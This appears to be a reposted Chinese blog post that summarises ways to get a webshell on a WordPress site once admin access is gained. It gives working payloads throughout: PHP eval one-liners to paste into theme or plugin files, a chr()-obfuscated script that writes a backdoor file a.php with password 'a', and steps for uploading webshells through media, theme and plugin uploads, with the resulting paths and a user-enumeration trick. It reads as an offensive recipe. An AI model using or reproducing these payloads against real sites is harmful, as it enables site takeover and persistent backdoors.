zoukankan      html  css  js  c++  java
  • Wordpress 后台GetShell总结

    0x00 前言

    Wordpress后台Getshell的方法网上公开了很多,在此记录总结一下

    相比于前台,wordpress后台的防御的就低得多
    Wordpress的插件和主题功都可以上传和线编辑
    很容易就可以插入木马getshell

    ?author=1 遍历用户名

    0x01 在线编辑getshell

    编辑主题

    第一种

    在后台找到主题外观编辑
    选择主题,在右侧选择php文件

    PHP标签内写入 @eval($_POST[a]);
    或者在PHP标签外写入 <?php @eval($_POST['code']);?>
    提交更改

    路径为
    url+/wp-content/themes/+主题名/+修改文件的文件名

    连接即可

    也可以在这里写入

    url+/wp-content/themes/Begin/inc/xxx.php

    第二种

    进入主题编辑器,选择要编辑的主题,要编辑的文件
    插入下方payload,然后访问之
    (报下图错不用管)
    url+/wp-content/themes/编辑的主题/编辑的文件

    这样就在该目录下生成一句话木马文件
    文件名 a.php 密码 a
    路径 url+/wp-content/themes/编辑的主题/a.php

    <script language="php">fputs(fopen(chr(46).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(97).chr(93).chr(41).chr(59).chr(63).chr(62));</script>

    编辑插件

    和编辑主题思路方法一致

    路径为

    url+/wordpress321/wp-content/plugins/+更改的插件名+/+更改的文件名

    0x02 上传getshell

    媒体上传

    在WordPress管理页面的左边单击“媒体”-“新增媒体案”
    接着就会出来一个上传的界面,在该界面中选择“Browser 上傳功能”
    直接选择php的Webshell上传即可;

    上传主题

    上传一个压缩了木马的zip
    或者在官方主题中加入木马重新打包成zip更好
    则木马路径为

    url+/wp-content/themes/+主题名+/木马名

    上传插件

    和上传主题的思路一样

    路径为

    url+/wp-content/plugins/+插件名+/木马名

  • 相关阅读:
    注意技巧小结
    小数点转百分比
    Mysql 性能监控及调优
    Linux下快速安装Mysql及使用
    如何建立压力计算模型
    Redis 2种持久化模式的缺陷
    Redis性能调优建议
    Node.js学习入门手册
    手机APP脚本录制(LoadRunner 12)
    Linux系统内核性能调优
  • 原文地址:https://www.cnblogs.com/ssw6/p/12668000.html
Copyright © 2011-2022 走看看